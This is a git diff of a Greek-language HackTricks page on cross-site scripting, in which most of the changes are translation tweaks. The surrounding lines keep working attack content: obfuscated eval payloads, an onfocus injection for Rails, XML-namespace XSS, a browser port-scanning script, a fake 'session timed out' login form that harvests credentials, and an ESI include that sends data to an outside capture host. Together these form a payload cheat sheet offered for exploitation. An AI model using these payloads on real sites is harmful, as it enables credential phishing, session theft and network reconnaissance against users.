Αν μπορείτε να εισάγετε οποιαδήποτε διεύθυνση URL σε μια αυθαίρετη **`<a href=`** ετικέτα που περιέχει τα χαρακτηριστικά **`target="_blank" και rel="opener"`**, ελέγξτε την **παρακάτω σελίδα για να εκμεταλλευτείτε αυτή τη συμπεριφορά**:
|
||||
|
||||
{% content-ref url="../reverse-tab-nabbing.md" %}
|
||||
[reverse-tab-nabbing.md](../reverse-tab-nabbing.md)
|
||||
|
@ -491,7 +491,7 @@ Android: %09 %20 %28 %2C %3B
|
|||
### Template literals \`\`
|
||||
|
||||
Για να κατασκευάσετε **strings** εκτός από τα μονά και διπλά εισαγωγικά, η JS δέχεται επίσης **backticks** **` `` `**. Αυτό είναι γνωστό ως template literals καθώς επιτρέπουν την **ενσωμάτωση εκφράσεων JS** χρησιμοποιώντας τη σύνταξη `${ ... }`.\
|
||||
Επομένως, αν διαπιστώσετε ότι η είσοδός σας **αντικατοπτρίζεται** μέσα σε μια JS string που χρησιμοποιεί backticks, μπορείτε να εκμεταλλευτείτε τη σύνταξη `${ ... }` για να εκτελέσετε **τυχαίο JS κώδικα**:
|
||||
Επομένως, αν διαπιστώσετε ότι η είσοδός σας **αντικατοπτρίζεται** μέσα σε μια JS string που χρησιμοποιεί backticks, μπορείτε να εκμεταλλευτείτε τη σύνταξη `${ ... }` για να εκτελέσετε **arbitrary JS code**:
|
||||
|
||||
Αυτό μπορεί να **εκμεταλλευτεί** χρησιμοποιώντας:
|
||||
```javascript
|
||||
|
@ -550,7 +550,7 @@ eval(8680439..toString(30))(983801..toString(36))
|
|||
'\t' //tab
|
||||
// Any other char escaped is just itself
|
||||
```
|
||||
**Αντικαταστάσεις χώρου μέσα στον κώδικα JS**
|
||||
**Αντικαταστάσεις κενών μέσα στον κώδικα JS**
|
||||
```javascript
|
||||
<TAB>
|
||||
/**/
|
||||
|
@ -763,7 +763,7 @@ top[8680439..toString(30)](1)
|
|||
|
||||
### Αντανάκλαση Συνεδρίας
|
||||
|
||||
Αν βρείτε κάποιο self XSS και η ιστοσελίδα έχει **αντανάκλαση συνεδρίας για διαχειριστές**, για παράδειγμα επιτρέποντας στους πελάτες να ζητούν βοήθεια, προκειμένου ο διαχειριστής να σας βοηθήσει θα βλέπει ό,τι βλέπετε στη συνεδρία σας αλλά από τη δική του συνεδρία.
|
||||
Αν βρείτε κάποιο self XSS και η ιστοσελίδα έχει **αντανάκλαση συνεδρίας για διαχειριστές**, για παράδειγμα επιτρέποντας στους πελάτες να ζητούν βοήθεια, προκειμένου ο διαχειριστής να σας βοηθήσει, θα βλέπει ό,τι βλέπετε στη συνεδρία σας αλλά από τη δική του συνεδρία.
|
||||
|
||||
Θα μπορούσατε να κάνετε τον **διαχειριστή να ενεργοποιήσει το self XSS σας** και να κλέψετε τα cookies/συνεδρία του.
|
||||
|
||||
|
@ -779,7 +779,7 @@ top[8680439..toString(30)](1)
|
|||
```
|
||||
### Ruby-On-Rails bypass
|
||||
|
||||
Λόγω της **RoR μαζικής ανάθεσης**, εισάγονται αποσπάσματα στο HTML και στη συνέχεια παρακάμπτεται ο περιορισμός αποσπασμάτων και μπορούν να προστεθούν επιπλέον πεδία (onfocus) μέσα στην ετικέτα.\
|
||||
Λόγω της **μαζικής ανάθεσης RoR**, εισάγονται αποσπάσματα στο HTML και στη συνέχεια παρακάμπτεται ο περιορισμός αποσπασμάτων και μπορούν να προστεθούν επιπλέον πεδία (onfocus) μέσα στην ετικέτα.\
|
||||
Παράδειγμα φόρμας ([από αυτή την αναφορά](https://hackerone.com/reports/709336)), αν στείλετε το payload:
|
||||
```
|
||||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||||
|
@ -822,14 +822,14 @@ document['default'+'View'][`\u0061lert`](3)
|
|||
```
|
||||
### XSS με έγχυση κεφαλίδων σε απόκριση 302
|
||||
|
||||
Αν διαπιστώσετε ότι μπορείτε να **εγχύσετε κεφαλίδες σε μια απόκριση 302 Redirect**, μπορείτε να προσπαθήσετε να **εκτελέσετε αυθαίρετο JavaScript** στον περιηγητή. Αυτό **δεν είναι απλό**, καθώς οι σύγχρονοι περιηγητές δεν ερμηνεύουν το σώμα της απόκρισης HTTP αν ο κωδικός κατάστασης της απόκρισης HTTP είναι 302, οπότε απλώς ένα payload cross-site scripting είναι άχρηστο.
|
||||
Αν διαπιστώσετε ότι μπορείτε να **εγχύσετε κεφαλίδες σε μια απόκριση 302 Redirect**, μπορείτε να προσπαθήσετε να **εκτελέσετε αυθαίρετο JavaScript** από τον περιηγητή. Αυτό **δεν είναι απλό**, καθώς οι σύγχρονοι περιηγητές δεν ερμηνεύουν το σώμα της απόκρισης HTTP αν ο κωδικός κατάστασης της απόκρισης HTTP είναι 302, οπότε απλώς ένα payload cross-site scripting είναι άχρηστο.
|
||||
|
||||
Στην [**αναφορά αυτή**](https://www.gremwell.com/firefox-xss-302) και [**σε αυτήν**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) μπορείτε να διαβάσετε πώς μπορείτε να δοκιμάσετε διάφορα πρωτόκολλα μέσα στην κεφαλίδα Location και να δείτε αν κάποιο από αυτά επιτρέπει στον περιηγητή να επιθεωρήσει και να εκτελέσει το payload XSS μέσα στο σώμα.\
|
||||
Προηγούμενα γνωστά πρωτόκολλα: `mailto://`, `//x:1/`, `ws://`, `wss://`, _κενή κεφαλίδα Location_, `resource://`.
|
||||
|
||||
### Μόνο Γράμματα, Αριθμοί και Τελείες
|
||||
|
||||
Αν μπορείτε να υποδείξετε το **callback** που θα **εκτελέσει** το JavaScript περιορισμένο σε αυτούς τους χαρακτήρες. [**Διαβάστε αυτή την ενότητα της ανάρτησης**](./#javascript-function) για να βρείτε πώς να εκμεταλλευτείτε αυτή τη συμπεριφορά.
|
||||
Αν μπορείτε να υποδείξετε το **callback** που θα **εκτελέσει** το javascript περιορισμένο σε αυτούς τους χαρακτήρες. [**Διαβάστε αυτή την ενότητα της ανάρτησης**](./#javascript-function) για να βρείτε πώς να εκμεταλλευτείτε αυτή τη συμπεριφορά.
|
||||
|
||||
### Έγκυροι `<script>` Τύποι Περιεχομένου για XSS
|
||||
|
||||
|
@ -897,7 +897,7 @@ import { partition } from "lodash";
|
|||
```
|
||||
Αυτή η συμπεριφορά χρησιμοποιήθηκε σε [**αυτή την αναφορά**](https://github.com/zwade/yaca/tree/master/solution) για να ανακατευθύνει μια βιβλιοθήκη στο eval για να την εκμεταλλευτεί, μπορεί να προκαλέσει XSS.
|
||||
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Αυτή η δυνατότητα έχει κυρίως σκοπό να λύσει ορισμένα προβλήματα που προκαλούνται από την προ-απόδοση. Λειτουργεί ως εξής:
|
||||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Αυτή η δυνατότητα έχει κυρίως σκοπό να λύσει κάποια προβλήματα που προκαλούνται από την προ-απόδοση. Λειτουργεί ως εξής:
|
||||
```html
|
||||
<script type="speculationrules">
|
||||
{
|
||||
|
@ -930,7 +930,7 @@ import { partition } from "lodash";
|
|||
|
||||
### xml Content Type
|
||||
|
||||
Εάν η σελίδα επιστρέφει έναν τύπο περιεχομένου text/xml είναι δυνατόν να υποδειχθεί ένα namespace και να εκτελεστεί αυθαίρετο JS:
|
||||
Εάν η σελίδα επιστρέφει έναν τύπο περιεχομένου text/xml είναι δυνατόν να υποδείξει ένα namespace και να εκτελέσει αυθαίρετο JS:
|
||||
```xml
|
||||
<xml>
|
||||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||||
|
@ -983,7 +983,7 @@ constructor(source)()
|
|||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||||
```
|
||||
Αν **όλα είναι μη καθορισμένα** πριν την εκτέλεση μη αξιόπιστου κώδικα (όπως σε [**αυτή την αναφορά**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)) είναι δυνατόν να δημιουργηθούν χρήσιμα αντικείμενα "από το τίποτα" για να εκμεταλλευτούμε την εκτέλεση αυθαίρετου μη αξιόπιστου κώδικα:
|
||||
Αν **όλα είναι μη καθορισμένα** πριν την εκτέλεση μη αξιόπιστου κώδικα (όπως σε [**αυτή την αναφορά**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)) είναι δυνατόν να δημιουργηθούν χρήσιμα αντικείμενα "από το τίποτα" για να καταχραστούν την εκτέλεση αυθαίρετου μη αξιόπιστου κώδικα:
|
||||
|
||||
* Χρησιμοποιώντας import()
|
||||
```javascript
|
||||
|
@ -1198,11 +1198,11 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
|
|||
};
|
||||
}
|
||||
```
|
||||
_Short times indicate a responding port_ _Longer times indicate no response._
|
||||
_Σύντομοι χρόνοι υποδεικνύουν μια απαντητική θύρα_ _Μακρύτεροι χρόνοι υποδεικνύουν καμία απάντηση._
|
||||
|
||||
Δείτε τη λίστα με τις θύρες που έχουν αποκλειστεί στο Chrome [**εδώ**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) και στο Firefox [**εδώ**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
Ελέγξτε τη λίστα των θυρών που έχουν απαγορευτεί στο Chrome [**εδώ**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net\_util.cc) και στο Firefox [**εδώ**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
|
||||
|
||||
### Box to ask for credentials
|
||||
### Κουτί για να ζητήσετε διαπιστευτήρια
|
||||
```markup
|
||||
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
|
||||
```
|
||||
|
@ -1251,7 +1251,7 @@ window.onmessage = function(e){
|
|||
document.getElementById("message").src += "&"+e.data;
|
||||
</script>
|
||||
```
|
||||
### Κατάχρηση Υπηρεσιών Εργασίας
|
||||
### Κατάχρηση Υπηρεσιών Εργαζομένων
|
||||
|
||||
{% content-ref url="abusing-service-workers.md" %}
|
||||
[abusing-service-workers.md](abusing-service-workers.md)
|
||||
|
@ -1267,7 +1267,7 @@ document.getElementById("message").src += "&"+e.data;
|
|||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss_polyglots.txt" %}
|
||||
|
||||
### Blind XSS payloads
|
||||
### Τυφλά XSS payloads
|
||||
|
||||
Μπορείτε επίσης να χρησιμοποιήσετε: [https://xsshunter.com/](https://xsshunter.com)
|
||||
```markup
|
||||
|
@ -1311,7 +1311,7 @@ document.getElementById("message").src += "&"+e.data;
|
|||
```
|
||||
### Regex - Πρόσβαση σε Κρυφό Περιεχόμενο
|
||||
|
||||
Από [**αυτήν την ανάλυση**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) είναι δυνατόν να μάθετε ότι ακόμη και αν κάποιες τιμές εξαφανιστούν από το JS, είναι ακόμα δυνατό να τις βρείτε σε JS attributes σε διάφορα αντικείμενα. Για παράδειγμα, μια είσοδος ενός REGEX είναι ακόμα δυνατό να τη βρείτε μετά την αφαίρεση της τιμής της εισόδου του regex:
|
||||
Από [**αυτήν την ανάλυση**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) είναι δυνατόν να μάθουμε ότι ακόμη και αν κάποιες τιμές εξαφανιστούν από το JS, είναι ακόμα δυνατό να τις βρούμε σε JS attributes σε διάφορα αντικείμενα. Για παράδειγμα, μια είσοδος ενός REGEX είναι ακόμα δυνατό να τη βρούμε μετά την αφαίρεση της τιμής της εισόδου του regex:
|
||||
```javascript
|
||||
// Do regex with flag
|
||||
flag="CTF{FLAG}"
|
||||
|
@ -1346,19 +1346,19 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
|||
```python
|
||||
<esi:include src="http://yoursite.com/capture" />
|
||||
```
|
||||
Χρησιμοποιήστε το για να παρακάμψετε περιορισμούς cookie, φίλτρα XSS και πολλά άλλα!\
|
||||
Περισσότερες πληροφορίες σχετικά με αυτή την τεχνική εδώ: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
Use it to bypass cookie restrictions, XSS filters and much more!\
|
||||
More information about this technique here: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
|
||||
|
||||
### XSS σε δυναμικά δημιουργημένο PDF
|
||||
|
||||
Εάν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας είσοδο που ελέγχεται από τον χρήστη, μπορείτε να προσπαθήσετε να **παγιδεύσετε το bot** που δημιουργεί το PDF ώστε να **εκτελέσει αυθαίρετο κώδικα JS**.\
|
||||
Αν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας είσοδο που ελέγχεται από τον χρήστη, μπορείτε να προσπαθήσετε να **παραπλανήσετε το bot** που δημιουργεί το PDF ώστε να **εκτελέσει αυθαίρετο JS κώδικα**.\
|
||||
Έτσι, αν το **bot δημιουργίας PDF βρει** κάποιο είδος **HTML** **tags**, θα **ερμηνεύσει** αυτά, και μπορείτε να **καταχραστείτε** αυτή τη συμπεριφορά για να προκαλέσετε ένα **Server XSS**.
|
||||
|
||||
{% content-ref url="server-side-xss-dynamic-pdf.md" %}
|
||||
[server-side-xss-dynamic-pdf.md](server-side-xss-dynamic-pdf.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Εάν δεν μπορείτε να εισάγετε HTML tags, μπορεί να αξίζει να προσπαθήσετε να **εισάγετε δεδομένα PDF**:
|
||||
Αν δεν μπορείτε να εισάγετε HTML tags, μπορεί να αξίζει να προσπαθήσετε να **εισάγετε δεδομένα PDF**:
|
||||
|
||||
{% content-ref url="pdf-injection.md" %}
|
||||
[pdf-injection.md](pdf-injection.md)
|
||||
|
@ -1366,9 +1366,9 @@ console.log(document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightCo
|
|||
|
||||
### XSS σε Amp4Email
|
||||
|
||||
Το AMP, που στοχεύει στην επιτάχυνση της απόδοσης ιστοσελίδων σε κινητές συσκευές, ενσωματώνει HTML tags συμπληρωμένα με JavaScript για να διασφαλίσει τη λειτουργικότητα με έμφαση στην ταχύτητα και την ασφάλεια. Υποστηρίζει μια σειρά από συστατικά για διάφορες δυνατότητες, προσβάσιμα μέσω [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
AMP, που στοχεύει στην επιτάχυνση της απόδοσης ιστοσελίδων σε κινητές συσκευές, ενσωματώνει HTML tags συμπληρωμένα με JavaScript για να διασφαλίσει τη λειτουργικότητα με έμφαση στην ταχύτητα και την ασφάλεια. Υποστηρίζει μια σειρά από συστατικά για διάφορες δυνατότητες, προσβάσιμα μέσω [AMP components](https://amp.dev/documentation/components/?format=websites).
|
||||
|
||||
Η μορφή [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) επεκτείνει συγκεκριμένα AMP components σε email, επιτρέποντας στους παραλήπτες να αλληλεπιδρούν με το περιεχόμενο απευθείας μέσα στα email τους.
|
||||
Η [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) μορφή επεκτείνει συγκεκριμένα AMP components σε email, επιτρέποντας στους παραλήπτες να αλληλεπιδρούν με το περιεχόμενο απευθείας μέσα στα email τους.
|
||||
|
||||
Παράδειγμα [**writeup XSS σε Amp4Email στο Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
|
||||
|
||||
|
@ -1446,9 +1446,9 @@ id="foo"/>
|
|||
* [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec)
|
||||
* [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Αν ενδιαφέρεστε για **καριέρα στον hacking** και να χακάρετε το αχάρακτο - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραφή και ομιλία στα πολωνικά_).
|
||||
Αν ενδιαφέρεστε για **καριέρα στον hacking** και να χακάρετε το αχάκωτο - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραφή και ομιλία στα πολωνικά_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -1461,7 +1461,7 @@ id="foo"/>
|
|||
<summary>Υποστήριξη HackTricks</summary>
|
||||
|
||||
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
|
||||
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Εγγραφείτε στο** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) ή στο [**telegram group**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|